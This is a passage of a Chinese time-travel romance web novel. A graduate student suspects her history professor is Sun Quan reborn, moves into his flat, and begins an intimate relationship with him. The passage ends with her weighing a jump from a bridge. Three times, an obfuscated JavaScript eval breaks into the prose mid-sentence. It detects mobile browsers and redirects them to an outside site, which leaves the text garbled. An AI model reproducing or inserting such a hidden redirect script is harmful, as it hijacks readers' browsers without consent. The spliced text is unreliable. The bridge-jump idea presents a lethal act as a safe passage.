那双深邃的眼睛,见到她哭会手足无措的缺点……与记忆中那个身影严丝合缝地重叠在一起。他不是像孙权,他就是孙权。 空旷的病房内只有彼此,步一乔终于忍无可忍地放声哭出来。 你为什么会在这里?孙仲谋……你就这样看着我,用另一个身份,另一个名字……你怎么能…… 吴朔的手顿在半空,然后缓缓放下碗勺。他没有惊讶,甚至没有一句常规的安慰。他静静地看着她痛哭,抽出纸巾轻轻地擦拭她脸上的泪水。 她知道了。 从她看我的眼神,从这哭声里的委屈与控诉……她认出我来了。 他伸出手,温热宽厚的掌心,极轻却极稳地落在了她不断颤动的头顶。这个动作超越了师长的界限,步一乔在他的手掌落下瞬间,哭得更加难以自持。身体却不由自主地向前倾,将额头抵在他身侧的床沿。 他默许了她的靠近,掌心在她发间轻柔地抚过,一下,又一下,克制着温柔。 “别哭,别哭。” * 两天后,情况基本好转。 “身体恢复需要一个长期过程,短时间注意饮食作息,多休息,少操心。”医生在出院单上签下字说道。 “是,我记住了。”步一乔轻声应道。 手续很快办妥。走出住院部的大门,午后的阳光有些刺眼,她下意识地眯了眯眼。 “步一乔,你要不——”吴朔跟在她身侧,话说到一半。 “哦对了教授,”她像是忽然想起,打断了他可能发出的、任何形式的邀请或关照,“之前的论文,我估计得晚点才能整理好发给你了。” “没关系,”吴朔从善如流地接话,目光在她苍白的脸上停留一瞬,“先养好身体要紧。” “谢谢教授。” 车子平稳地停在校门外。步一乔解开安全带,推门下车。 “谢谢教授送我回来,”她站在车窗外,微微欠身,礼貌得同一个乖巧的学生,“路上小心。” “步一乔。”他却唤住了她。 “嗯?”她回头,眼神带着询问。 吴朔看着她,明白自己要说的话过于突兀,尚未坦白之前,两个人在这个时间下,是教授与学生,是师徒关系,万不可做越矩之事。 片刻后,最终却只化作寻常的一句:“好好休息,按时吃饭。” “嗯,谢谢教授。” 车门关上,将两个各怀心事的人隔绝开来。步一乔站在原地,看着黑色的轿车平稳地汇入车流,直至消失不见,才缓缓地、深深地吐出一口气,紧绷的肩膀也随之松懈下来。 回到宿舍,一切都是熟悉的样子,未曾改变。 霖霖外放着声音正翘着腿打游戏,一张嘴在温柔和暴躁间无缝切换,一边头也不回地和步一乔闲聊:“回来啦?医生怎么说?”,一边对着麦克风怒吼:“打野你是住在野区采灵芝吗?!不来参团等着给我们上坟呢?!” 步一乔把自己扔进床铺,盯着天花板上的纹路,思绪放空。一切都发生得太快,太不可思议,以至于她引以为傲的分析能力彻底宕机,停止运作。 不自觉哼起了歌。 “紫发髯碧色眼眸,射猛虎倚黄龙胆识过凡人谁敌手……千秋过再难回首,问古今兴亡事几人耀青史芳名留,笑谈间云烟已旧,终留下万古叹,生子该当如孙仲谋……” 霖霖听到她居然有心情哼歌,悬着的心放下大半,立刻开始逗她:“哟,怎么回事?不当孙策的梦女了,改粉孙权了?口味变了啊。” 步一乔哼歌的调子戛然而止,下意识反驳:“我在唱歌呢,跟那家伙没关系。” “以前是天天把孙策挂嘴边,现在连唱歌都是孙权了,还说没有。” “我有吗?没有吧。” “行行行,不承认算了。欸,你也要不现实中找个对象?照着孙策那性子也行。不过孙策的性子放在现在,应该是……□□老大?周瑜就属于学霸给无聊的生活找点乐子,加入了□□。吕蒙、甘宁、太史慈那帮人,就是孙策手下的金牌打手和小弟。至于孙权嘛——” 步一乔猛地从床上坐起来,眼前一阵眩晕,待缓和后立马反驳:“说什么呢!我们江东怎么会是□□呢!” “没说江东,说孙策呢。” “说他也不行!” “好好好,不说了不说了,你家策哥英明神武,行了吧?快躺着休息吧,我不逗你了。”霖霖笑着投降,继续在游戏里“厮杀”。 步一乔重新躺回去,闭上眼,又想起了伯符。想起了策乔的婚事,想起了自己莫名出现在现代的地牢外。 是孙权吧?他发现了自己,通过棺椁把自己送回了现代,悄悄放在地牢外,然后折返回东汉。 她似乎无法把教授和孙权完全联系起来,尽管他们拥有着如此相似的神韵。可在她心里,他们之间,似乎不仅仅是长发与短发的区别,也不全然是古人与今人在肌肤纹理上的粗糙与细腻之分。 那更像是一种……浸入骨髓的气质差异。 更因为那是自己深爱之人,本能的牵引下,直觉告诉自己,不会认错。 “以后让我怎么面对他啊……”步一乔把脸埋进枕头,发出一声哀鸣。 知道了教授是与自己承欢缠绵的孙仲谋,往后上课、碰面,都注定不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623642|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯粹。 “我要不换专业吧……不,换个城市生活吧。” * 一周后,魏晋史专题课堂。 吴朔在讲台上侃侃而谈,步一乔坐在台下,如坐针毡。他的目光偶尔会扫过全班,每当与她的视线有瞬间交汇,她都迅速低下头,假装专注笔记,心跳如擂鼓。她能感觉到,那目光在她身上停留的时间,总会微妙地延长那么半秒。 下课铃响。 “步一乔,留一下。” 同学们投来或好奇或了然的目光,陆续离开。教室很快空荡下来,只剩下他们两人。步一乔僵硬地坐在原位,看着吴朔缓步走近。 千万不能暴露!不能让教授知道我知道,他不知道我知道!淡定!自然! 吴朔停在她面前一步之遥,保持了师长的分寸。 “你的气色还是不太好。” “我、我挺好的啊,活蹦乱跳。” “你最近在刻意回避我。”不是疑问,是陈述。 步一乔攥紧了手中的书包肩带,“没、没有,教授。只是课业有点忙……” “有按时吃饭好好休息吗?” “已经好多了,谢谢教授关心。” “昨晚熬夜,今天不吃早餐,你就这么照顾自己的?” “我——”步一乔猛地抬头,撞进他深邃的眼眸里,那里没有责备,只有一种让她无所遁形的了然。 好吧,此人大概率可是那位把她了解得透透彻彻的孙仲谋啊,还是别妄图反驳了。 等等!如果他是想发起同居邀请,是否多了个调查他的机会?好确定他与孙权的关系? 至于为什么非是同居……这只是步一乔的直觉,毕竟她从来对自己的直觉深信不疑。 “如果你无法保证基本的健康作息,作为你的导师,我有责任进行干预。” “哦……” “每天一杯牛奶一个鸡蛋,一日三餐少一顿都不行。另外,医生叫你多休息,晚上十点之前必须躺下。” “哦……” 这哪儿是导师的职责,这是妈妈吧!步一乔在内心疯狂吐槽,可这过于具体的“关照”,这超越寻常师生界限的安排……几乎是在明示着什么。 她深吸一口气,抬起眼,迎上他等待答复的目光。危险,但也充满了揭开真相的诱惑。 “那就……麻烦教授了?” 吴朔的眼中似乎闪过一丝极淡的、意料之中的笑意,快得让她以为是错觉。 “周五下午下课后,我帮你搬东西。” * 步一乔搬进了吴朔在距离学校二十分钟车程的公寓,当然是在没有告知任何人的情况下。霖霖收到的消息,是步一乔的父母为照顾她的身体,在学校附近租了房照顾她。 公寓陈设极其简洁,甚至到了寡淡的地步,一眼便能望尽。两间卧室门对门。 可惜是两个房间。 这念头刚冒出来,步一乔立刻在心底狠狠自我否定了一番。 “我有些事要出去一趟,你慢慢收拾。”吴朔将她安顿好,便拿起外套准备出门。 “好的,教授。”步一乔乖巧应道。 门轻响合上。 几乎是同时,步一乔脸上的温顺瞬间被猎手般的锐利取代。千载难逢的机会!此时不搜,更待何时? 她屏息凝神,确认门外电梯运行的声响远去后,立刻转身,毫不犹豫地推开了主卧的房门。 势必找出吴朔就是孙权的有力证据! 房间依旧延续着外界的简洁风格,她动作迅捷却又小心地拉开床头柜。里面只有几支签字笔、一叠便签纸,再无他物。衣柜里,衣物按色系整齐悬挂,除了现代服饰,别无他物。书架上排满了历史专著,她快速抽了几本翻动,除了印刷字体,没有任何手写批注。 时间一分一秒过去,步一乔的额头渗出了细密的汗珠。难道她的直觉错了?难道他真的只是一个恰巧神似的普通大学教授? 身体又眩晕得厉害,步一乔坐在床边,点亮床头的古朴台灯。灯罩上是一朵手绘的,算不上精细的墨梅。 “好像……伯符送我的那一盏……” 困意来袭,步一乔趴在床边,眼皮沉重地一开一合,直至闭上。 不知过去多久,步一乔在一阵温暖而熟悉的清冽气息中醒来的。 是孙权的味道。 “仲谋……” 意识回笼的瞬间,她首先感受到的是身下紧实温热的触感,以及一只沉稳地环在她腰间的手臂。她猛地睁开眼,映入眼帘的是一件质感极好的深灰色羊绒衫,视线上移,是线条利落的下颌,紧抿的薄唇,再往上,便是一张熟睡的脸。 “!” 为什么自己会在教授怀里睡觉! 步一乔的睡意瞬间全无,手忙脚乱地想从他怀中挣脱。环在她腰间的手臂却适时地收紧了些许,力道不大,却足以让她动弹不得。 “醒了?是不舒服吗?” 又是熟悉的台词。教授都不怕身份暴露吗?还是说,他在故意抛给自己线索? “我……我怎么……”她语无伦次,脸颊不受控制地发烫,心跳快得几乎要挣脱胸腔,“我为什么会在……您的床上……” “我把你抱上来的。你趴在床边睡着了。” 吴朔微微动了动,低下头,目光落在她绯红的脸上。他顿了顿,手臂依然没有松开,反而将她往怀里又按了按。 “手脚那么冰……今夜好像会下雪,就在这儿睡吧。” “……嗯。” 好像,根本不需要什么实证性的证据。他说每一句话,每一个动作,都已然明示。 步一乔闭上眼,放弃了所有的思考与挣扎,伸出手回抱住了他,将脸埋在他坚实的胸膛。 * 窗外,第一片雪花悄然飘落,无声无息。 怀中人的呼吸逐渐变得绵长均匀,终是在他带来的温暖与心安中沉沉睡去。他低眸,凝视着她沉睡的侧颜,指尖极轻地拂过她散落的发丝。 许久,他才缓缓抬眸,目光落在床头那盏稍加改造的墨梅灯上。 “这可是你一直珍藏的,兄长送你的灯,不认得了吗?” 44. 小黄香 步一乔难得在现代的寒冬睡得这么香,恍惚做了个在东汉末年的梦。 她翻了个身望着床头的台灯,下意识伸出指尖去触碰上面的墨梅。 “一千多年前的文物啊……” 步一乔怎会认不出此灯?不过时间回溯,孙权如何将此灯带往现代保存的呢?她很好奇。 宽敞的床铺上,另一半还留有余温。步一乔揉着沉重的脑袋坐起身,打着哈欠走出卧室。 “早上好。” 站在开放式厨房的男人头也不回地打招呼,步一乔盯着他穿着围裙和家居服的背影,又恍了神。 好想叫他带着古风男的假发,这不一比一还原了嘛。步一乔思忖间,走到吴朔身边。 “早、教授早上好。” “在家里不用叫我教授。” 家里……步一乔就像个热恋期同居的少女,脸颊一下子烧得厉害。 “那叫什么?老师?” 吴朔侧目看了满脸坏心思的她一眼,无奈摇头。 “随你。” 早饭在一种温馨而微妙的氛围中结束。步一乔抢着洗了碗,注意力总忍不住关注另一方,悄悄望向正在玄关穿外套的吴朔。 他动作利落,肩背挺拔,即便是现代的大衣穿在他身上,也自有一种渊渟岳峙的气度。步一乔擦干手,慢吞吞地挪过去。 “要出门?”她明知故问。 “嗯。”吴朔低头整理着袖口,应了一声,“学校那边有点事,需要去处理一下。” 他的语气平淡,听不出什么情绪。步一乔心里却莫名有些空落落的。 “今天不是周末吗……”她下意识地开口。 吴朔闻声回头,目光落在她脸上,问:“有什么安排吗?” 步一乔话到嘴边,又咽了回去。她想问他还回来吃晚饭吗,想问他要多久,甚至想半开玩笑地说一句“孙仲谋,早去早回哦”。可最终,她只是弯起眼睛,笑了笑:“路上小心。” 吴朔平静的眼底掠过一丝笑意,“步一乔,手,伸出来。” 步一乔疑惑,乖乖摊开掌心。一把钥匙落下。 “出门记得锁门。” “嗯……好。” 他推开房门,冬日清冽的空气瞬间涌入。 步一乔站在门口,看着他走向电梯的高大背影,直到电梯门缓缓合上,将他的身影彻底吞没。她轻轻关上门,背靠着门板,屋内瞬间安静下来,只剩下她自己的心跳声,和一丝若有若无的……怅然若失。 她踱回客厅,忍不住深吸空气中属于他的味道。 孙权……吴朔…… 历史的洪流与此刻的静谧在此刻交织。 “如果教授是穿越到现代的孙权,道士就不是教授……那道士又是谁?知道我穿越的,除了教授没人了……吧?” 自言自语间,一条陌生号码的短信发送来。 【我知道你在找我。博物馆三国历史馆,我在门口等你。】 “先知啊……”这人不会真是先知吧?! * 周末的博物馆人满为患,不过那人并不难找。 步一乔穿着厚厚的大衣小跑上前,上下打量起眼前全身黑色包裹,只露出鼻孔的男人。 “现代也穿成这样吗?” “有何意见?” “没,穿衣自由。我来是想问几个问题的。” “走吧,边逛边说。” 三国历史展区人不算多,不算太吵,两人用正常声音即可交流。 “你认识吴朔教授吗?”步一乔率先抛出疑问。 “当然。” “那你知道他的真实身份吗?” “当然。” “……他怎么做到的?” “我以为经历了这么多次穿越,你已经摸清时间悖论的理论了。” “我摸清了啊。孙权若不按照历史正常去世,教授也会随之消失,就跟从未出现过一样。时间悖论,不就是这样吗?” “还有呢?他怎么做到同时存在于两个时空的?” “这就是我今天想请教你的问题。以及……他阻止我改写历史的原因。”步一乔仰头望着身旁专注在青铜器上的男人,“你肯定什么都知道,告诉我。” “你希望答案是什么?” “我希望……” 步一乔收回视线,垂下眸子。 “我希望一切都是他的无奈之举。孙权说过,他此生有两件事不会说谎,其中之一,便是对伯符的忠诚。” 她忽地轻笑一声。 “我好像突然明白他这句话的另一层意思。不止对伯符,还有江东。难道……他阻止我,是为了拯救江东?” “继续。”男人示意。 “如果我改写了历史的‘因’,拯救伯符,会影响后面的‘果’?所以孙权是为了顾全大局,不得不这么做?可这个假设的提前是,孙权已经将整段历史了解透彻啊……说不通啊!” 他的记忆,应该和自己一样才对。 男人开口:“他此生有两件事不会说谎,还有一件是什么?” “是对我的感情。” “只是感情。” “什么意思?”步一乔恍然大悟,“他骗了我?他知晓的远比我想的还要多?!” “我也不是仲谋,我也不敢百分百保证这个假设成立。不过你的假设,是目前可能性最大的假设。” 男人看着步一乔 “失望了?” “啊?”步一乔沉浸在思考中,没注意听。 “他为了达成目的,欺骗了你。甚至编了新的名字,在你不认识的时候就和你相遇……对他失望了?” “为什么?”步一乔纯然反问,“如果假设成立,他当真是为了江东的未来,为何怪他?不该写首诗称赞一下吗?” “……你为什么总不按常理出牌?” “我?有吗?” “去看点言情小说或者狗血电视剧吧,看看别人被骗后,是如何反击的。” “怎么反击?我只看文献和历史书,不看小说电视剧。” “虐男主啊,让他体验一下什么叫‘追妻火葬场’。” “噗嗤——”步一乔直接笑喷出来,“你倒是少看点吧,相亲相爱不好吗?” 熟悉的对话氛围,让步一乔莫名心头一暖,看着包裹得严严实实的男人,欣慰一笑。 “知道你不是坏人,要交个朋友吗?” 男人似乎瞥了她一眼,“不想。” “切,我也不想!再见!” “步一乔。”他叫住她。 “啊?” “天命不可逆,历史不可转。不是改写一个人的生死,就能完全扭转结局。” 步一乔沉眸,“我知道。反正已经体验过临死是种什么感觉,既然无法改写,修正我酿下的错误,还是绰绰有余。” * “教授?” 步一乔返回时,家里依旧空无一人。 她轻手轻脚地拧开书房的门把,吴朔还没回来,这是绝佳的机会。她必须找到证据,证明他是孙权的有力证据。 目光掠过一排排厚重的史籍,最终落在书桌下方一个带锁的抽屉上。 “唯一上锁的抽屉,绝对有问题!” 凭着自己记对孙权习惯的了解,步一乔竟真在墨梅台灯的底座下找到了一把金色的钥匙。 “这么轻易就被找到?不是引我上钩的陷阱吧?” 抽屉里,安静地躺着一本线装的、封面已泛黄磨损的笔记本。 步一乔深吸一口气,翻开了它。越往下读,眼睛瞪得越大。 “这……这……” 这写的什么东西?全是小篆,一个字也不认识! 就在这时,一股不容忽视的热度陡然从身后贴近。 步一乔甚至来不及惊呼,手中的笔记本就被一只骨节分明的手轻而易举地抽走。另一只手臂则越过她的肩头,“砰”地一声撑在她面前的书架上,将她整个人严严实实地禁锢在了高大的书架与他温热的胸膛之间。 熟悉的、带着一丝凛冽寒气的味道瞬间将她包裹。 “在找什么?” 低沉的声音在她耳畔响起,听不出喜怒,却比平日更加厚重。 “没、看书呢,勤奋学习中!” “是吗?上面的字,认得?” 步一乔浑身一僵,心脏几乎要跳出喉咙。她被困在这方寸之地,能清晰地感受到他呼吸时胸膛的起伏,却不敢回头。 “不、不认得……我找错书了,正打算换一本……” 他微微俯身,温热的胸膛贴上步一乔的后背,让她整个身前贴在书架上。 “要不要我念给你听?” “不、不用了吧……” 步一乔感觉全身燥热得难受,扭动身子想将他拱开,奈何撼动不了分毫。 “你——你压着我了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630844|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。” 沙哑的应答里,藏匿的情绪昭然若揭。 “步一乔……一乔……” “你——你没喝酒啊?怎么突然……” 步一乔的声音戛然而止,因为他的鼻尖蹭到了她的颈侧,温热的唇瓣正在她最敏感的肌肤,激起层层细小的疙瘩。 不行!他们现在是师生,她是来寻找证据的,不是来……不是来沉溺于这种危险的暧昧! “仲——教授,不可以啊……” 这层身份,比讳莫如深的“叔嫂”名分更甚,是无论哪个时代,伦理绝不容的背德。她是他的学生,他是她的教授。 可身体……身体却背叛了意志。 步一乔四肢发软,心跳失序,脖颈不受控制地微微后仰,无声示意他再吻吻别的地方。背部线条紧绷,却又柔顺地贴合着他 “怎么?需要喝了酒……才能这样吗?” 他的手臂收紧,将她更深地嵌入怀中,让那层道德的薄冰在逐渐升腾的体温下,发出不堪重负的碎裂声。 “不是……” 步一乔闭上了眼,最后的抵抗在身体诚实的渴望面前瓦解。 他的唇压了下来。步一乔把头转向一侧,他也偏头追上去,吻落在了她的嘴角。他没有继续深入,只是用嘴唇轻轻摩擦她的唇缘。 “转过来,面向我。” “不要……” “一乔。” 又叫名字……信不信我也叫你的名字! 步一乔绷紧的身体得不到一刻放松,刚转过身,就被他揽上腰贴近,低头含住她的唇瓣。抓着他衣角的手指逐渐加重力道,薄汗轻覆。 察觉到她的变化,他立刻加重了这个吻,舌头探入她齿间。 她发出一声短促的鼻音,手抵住他胸口想要推开。他握住她的手,将她的掌心按在自己胸前。她推拒的力气变小了,手指蜷缩起来,攥住了他的衣料。 “不……不可以……”换气的间隙,步一乔喘息着埋下头告诫,“教授……教授,你是——不可以……” 他抬手抚摸她的脸庞,沙哑着询问:“真的吗?说好记下的,你忘了?” 步一乔恨铁不成钢地皱紧眉头。心想,此人真是的……到底是要把自己的身份藏起来,还是直接坦白他就是孙仲谋啊! 就在她心神微弛的刹那,他敏锐地捕捉到了这个信号,骤然加深了这个吻,舌尖巧妙地撬开了她的齿关。 “唔——”她发出短促的呜咽,继而慢慢享受起来,手臂自觉地环上他的脖颈。 步一乔几乎要沉沦在他编织的情网中时,他却毫无预兆地稍稍退开,鼻尖轻蹭着她的鼻尖,留下一个呼吸可闻的、致命吸引的缝隙。 步一乔不满地轻哼,遵循着本能仰头追寻而去。这一次,他低笑一声,顺从地迎上,重新攫取了她的唇,比之前任何一次都要深入、都要炽烈。 一退一进,一推一拉,在这场无声的较量里,理智早已节节败退,溃不成军。 她全身酥软地依附在他怀中,仅凭着本能仰首回应。在唇舌交缠的间隙,她意乱情迷地发出破碎的呓语: “我想……叫你的名字……” 这句低喃如同最有效的清醒咒,让他所有的动作瞬间停滞。 他猛地从她唇上撤离,尽管身体依然紧密|相贴。他不清楚步一乔会叫出哪个名字,是他编造的假名?还是那个惯常呼唤的名字。 他滚烫的掌心捧住她绯红的脸颊,拇指轻轻抚过她微微红肿的唇瓣。 “不可以。” 步一乔从情欲的漩涡中获得了一丝短暂的清醒。她怔怔地望着他,有些许委屈,连呼唤名字都成了一种禁忌。 但她可是步一乔啊。执拗的性子,仅次于某位占有欲极强的吴国君主。 她非但不退,反而抬起腰,攀附上他的脖颈,温热的呼吸直直撞入他耳廓。 “仲谋……仲谋……” 他滚烫的手忽地收紧,步一乔清晰地听见他倒抽一口气的声音。这却让她更加得寸进尺,故意又唤了声,带着蛊惑人心的绵软: “仲谋……” “你真是……一点不听话。” 孙权突然松开手,转而扣住她的后颈,将尚未结束的吻再度加深。 步一乔在他这矛盾的反应里尝到了转机。在他稍稍退开的间隙,她趁机贴近,用气音轻轻地问: “那道士……也是你……对不对?” 45. 梨花雪 吴朔突然僵住,但仅仅一秒。 “不是。” 不等她反应,他突然俯身,用吻封住了她未出口的追问。 他的手掌牢牢扣住她的后腰,将她更深地压向自己,另一只手则插入她的发间,迫使她仰头承受深吻。步一乔想要挣扎,却被他以绝对的力量压制,所有的疑问都被堵在喉间,化作零散的呻|吟。 换气的间隙,她试图开口,他却立刻追吻上来,不给她丝毫思考的空间。他的吻沿着她的唇角一路下滑,灼热的呼吸熨烫着她敏感的颈侧,在那里留下若有似无的触感。 “等——”她好不容易寻到一丝空隙。 “不准说话,专心。”不容抗拒的命令后,他再次封住了她的唇。 * 昨夜似乎下雪了,窗外白光一片。 步一乔直直盯着天花板,不敢相信,又掀开一点被子,看了眼密布全身的吻痕。 昨晚……似乎发生了什么不得了的事情。我的天,大腿内侧那是什么?那种地方怎么做到…… 步一乔突然怀疑昨晚不是他喝酒了,是自己。 她僵硬地侧过头。身旁的男人还在熟睡,背对着她,后颈上几道浅红的划痕若隐若现。步一乔悄悄撑起被子,偷偷看了眼他布满痕迹的后背,又低头看了看自己的指甲。 挠得……有点过分了,晚上剪剪指甲吧。 更让她懊恼的是,昨夜情动时,自己是不是……唤了他“仲谋”?似乎还喊了不止一声!步一乔恨不得给自己一下,真是半点心事都藏不住。 正走神间,那个背影忽然动了。她慌忙缩回手,紧紧闭上眼睛。 吴朔醒来就发现身边的人几乎睡到了床沿,他伸长手臂,轻轻将那个假装熟睡的身影捞回怀中。 “醒了?” 步一乔装睡不答。 吴朔轻笑了声,看了眼床头的闹钟,早上七点,第一节课是九点,还能悠闲地吃个早餐再出门。 “饿不饿?我去做早餐。” 肚子替步一乔回答了问题。尴尬地睁开眼,不敢去看他。 “我也帮忙吧……” “嗯。” 吴朔松开她,起身下床,家居服松垮地搭在身上。步一乔磨蹭着跟到厨房门口,看着他从冰箱里拿出鸡蛋和吐司。 “煎蛋要吃全熟还是溏心的?”他一边开火一边问。 “……全熟。”步一乔小声回答,眼睛不由自主地往他脖颈瞟,饶了脖颈一圈的那几道红痕在格外明显。 “教授,你今天上课带个围巾!痕迹消褪之前不准取下来!” 吴朔嘴角噙着笑:“大冬天戴围巾,不是很正常?” “室内也必须戴着!但那样会更引人注目,掩耳盗铃吧……”步一乔越想越绝望,“完了,全历史系都会知道他们冰冷无情的吴教授,昨晚被人挠了脖子,失身了!” “冰冷无情?”吴朔关火,将煎蛋盛进盘子,忽然转身,好整以暇地看着她,“除了你,还有谁这么叫我?” 步一乔被他看得耳根发烫,一把抢过盘子:“肯定还有!被你用学分威胁过的!” “我只威胁过你。” 这句话他说得云淡风轻,步一乔张了张嘴,想反驳,却发现这居然是事实。上学期期末,要不是他以“平时分不及格”相要挟,她也不会乖乖去他办公室补了整整两周的笔记。 “那、那是因为只有我敢在你的课上打瞌睡!”她强撑着气势,把盘子放在餐桌上。 吴朔把热好的牛奶倒进杯子,纠正道:“不是敢,是只有你在我课上睡得着。” 步一乔一时语塞。这话为何听起来莫名有点……宠溺? 她低头戳着盘子里的煎蛋,金黄酥脆的边缘被戳得七零八落。 “反正暴露了也跟我无关。凭他们怎么八卦,也想不到我头上……”她小声嘟囔。 吴朔只是轻轻一笑,把牛奶推到她面前:“先吃早餐。” 他顿了顿,又慢悠悠地补充道:“至于脖子上的痕迹,如果真有人问起,我就说是被一只不听话的小野猫挠的。” 步一乔抬眸,对上他含笑的眼眸。 “教授起床到现在还没来得及照镜子吧?” “嗯。” “那不止是抓痕,还有……吻痕啊!谁家猫会种——那个啊!” 吴朔闻言微微一怔,下意识地抬手想去碰自己的脖颈。 步一乔趁他愣神的功夫,飞快起身溜进卧室,拿着个小镜子又跑了回来,颇有几分“让你认清现实”的架势,把镜子塞到他手里。 对着镜子偏头一看,果然,在几道明显的红痕之间,还缀着几个暧昧的紫红色印记,位置恰好在他喉结旁侧,嚣张得根本无法忽略。 “嗯……听你的。” 最终妥协方案是:吴朔翻出了一件高领毛衣。步一乔看着他把那件深灰色羊绒衫套上,堪堪遮住了所有痕迹,才长舒一口气。 “我坐公交车去学校。”她抓起书包就要溜。 “顺路。”吴朔已经拿起车钥匙。 “会被看到的!” “从地下车库直接上楼,看不到。”他顿了顿,回头看她,“还是说,你比较想迟到,让全班看着你走进阶梯教室?” 说完,他伸手摩挲过步一乔锁骨处紫红色的吻痕。吓得她立马抬手捂住脖颈,不忘瞪了某人一眼。 步一乔想象了一下那个众目睽睽的画面,立刻认命地跟了上去。 车内弥漫着淡淡的木质香,是他惯用的香水味。步一乔拘谨地蜷缩在副驾驶,目不斜视地盯着前方。 “安全带。”吴朔提醒。 她慌忙去拉,手指却不听使唤,拉了几次都没扣上。一只骨节分明的手伸过来,轻轻接过卡扣帮她系好。 “这么紧张?” 步一乔涨红了脸,忿忿道:“搞清楚现在的身份啊教授!哪怕我跟你没关系,被人看到……也会变得有关系的!” “嗯。理直气壮地说没有,不就好了?还是——你希望被人误会?” 步一乔决定在接下来的车程中彻底闭嘴。 车子驶入校园,一切如吴朔所说,地下车库直达他办公室楼层的电梯,畅通无阻。步一乔正要溜去教室,却被他叫住。 “步一乔。” “干嘛!我得赶紧溜了!被其他老师看到也不行啊!” “下午等我一起回家。” “放学就不用了吧……” “带你见一个人。” “啊?” 吴朔没有直说要见的人是谁,步一乔一整天也只顾着担心自己锁骨上的痕迹暴露,当然,还有他的。 幸好是冬天,穿得严实,她有足够合理的理由将自己蜷缩在高领毛衣和厚重大衣里。 “怎么样?校外生活?”课间,甄霖(霖霖)凑过来问。 “还、还好……”步一乔有些心虚地拉了拉领口,“你不是也打算搬出去住吗?” “嗯!他来苏州找我,我们正式交往啦。” 甄霖说的是潜山活动时去见的游戏搭子,步一乔偶尔听她提起过。安徽毫州人,东汉时此地名为谯县。 “那位姓曹的网友?奔现成功啦?恭喜啊。”步一乔撑着脑袋打趣,“姓曹的和姓甄的在一起,你要当皇后啊。” “当代土皇帝吗!不过,谢谢。也恭喜你啊,脱单成功。”甄霖挑眉道。 “嗯?”步一乔故作茫然,强装镇定,“我没……吧?” 甄霖指了指她衣服遮掩下的锁骨,“刚才你弯腰捡笔的时候看到的,是吻痕吧?还骗我跟叔叔阿姨住?你个小骗子!” 居然就这么轻易暴露了?! “那、那是过敏!”步一乔紧了紧衣领。 “行啦,跟我你还怕什么。说说,谁啊?我认识吗?” “你……不认识吧。” “又骗我。” “我说谎的样子很明显?” “骗得过别人,但骗不过我。”甄霖坏笑着凑近,“是吴教授吗?” “啊?!你你你你说什么呢!不许乱开腔!” “怕什么?二十多岁的成年人了,恋爱自由嘛。所以是不是?” “不是!” “哦——”甄霖拖长了调子,慢悠悠掏出手机,点开一张照片。 是上学期末她偶然拍下的,照片里,步一乔正抱着笔记从吴朔的办公室出来,气鼓鼓又无可奈何的表情,而门内的吴朔,正倚着门框,镜片后的目光落在她的背影上,那眼神……只差一点便是望穿秋水。 步一乔盯着照片上的男人,光影与时间交错,脑海里冒出许多想法。 吴朔是孙权,他是为了自己穿越到现代来的?那东汉的孙权又是什么情况? “我可从年初就觉得教授对你不一样了,不考虑一下?” “考虑什么?” “谈恋爱啊!还能干嘛?一起学习,探讨五千年的历史吗?” “……那是教授,我是他学生,身份不允许。” “研究生又不是未成年,再说了,你情我愿的事情,谁管——” “步一乔,甄霖。” 一道清冷平稳的声线自身后响起,瞬间炸得两人魂飞魄散,下意识答“到!” “上课了,回神。” “是!” 吴朔微微颔首,转身走向讲台。 步一乔的视线始终跟随他,确定高领毛衣严丝合缝后,松了口气。 * 放学后,步一乔随着人流第一个冲出教室的。 她给吴朔发了条短信:「教授,我在学校西门一公里外的那个公交站等你。」 消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635468|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息显示已读,但他没回。 初冬的傍晚,天黑得很快。五点半,天色已经昏沉。步一乔裹紧大衣,在寒风中踩着脚等待。 起初只是忐忑。但随着时间流逝,已读不回的短信越来越多,她的不安开始变质。 六点十分,天色彻底墨黑。 “为什么还不来?不会……出事了吧?” 是不是时间悖论下,孙权又出什么事,导致吴朔又从这个世界消失了? 她又发了一条短信:「教授,你还在吗?」 没有回应。 远处施工地的探照灯划过夜空,步一乔紧紧攥着手机。不是害怕黑暗,而是害怕这无边无际的等待没有尽头。 “这会儿纪念馆已经关门了吧……怎么办……孙权不会出事吧……” 她左右环顾,望向马路一端灯光繁华的地段,是跨江大桥。 穿越的条件与死亡有关,自己从来没有出过事,都是平平安安地抵达东汉。如果是跳江……或许也能像二乔公园那般,安全降落吧? 步一乔不敢拿生命冒险,可如果孙权…… “等我来救你!” 